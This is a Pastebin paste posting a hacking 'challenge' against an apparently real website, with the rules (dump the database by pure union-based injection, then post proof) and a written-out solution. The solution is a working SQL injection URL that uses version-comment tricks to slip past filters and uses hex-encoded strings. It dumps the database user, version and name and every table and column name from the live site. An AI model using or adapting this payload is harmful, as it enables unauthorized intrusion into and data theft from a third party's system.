Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Bouabid challenge:
- ===================
- after long TIME we back!!
- challenge TYPE : SQL
- target url/Point : http://www.daynghesq.com/?frame=product&cat=180%27
- task AND rules : don't change point, do it with (pure union based,$_Get) dios the database, then post your proof, ah don't forget pm your query !!!
- another rules IGNORE Ali Malik post ON same target expressionless emoticon
- Level : Easy
- Proof ~:
- Solution:
- ==========
- http://www.daynghesq.com/?frame=product&cat=-180 UNION /*!50000Select*/ 1,2,CoNcAt(0x44697075,0x3c62723e,USER(),0x3c62723e,version(),0x3c62723e,DATABASE(),0x3c62723e,GRoUp_cOnCat(0x3c62723e,CONVERT(/*!13337table_name*/ USING latin1),0x3a3a3a,CONVERT(/*!13337column_name*/ USING latin1))),4,5,6,7,8,9,10,11,12,13,14 /*!50000FROM*/ /*!12345INFORMATION_SCHEMA.columns*/ WHERE table_schema NOT LIKE 0x696e666f726d6174696f6e5f736368656d61-- -
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement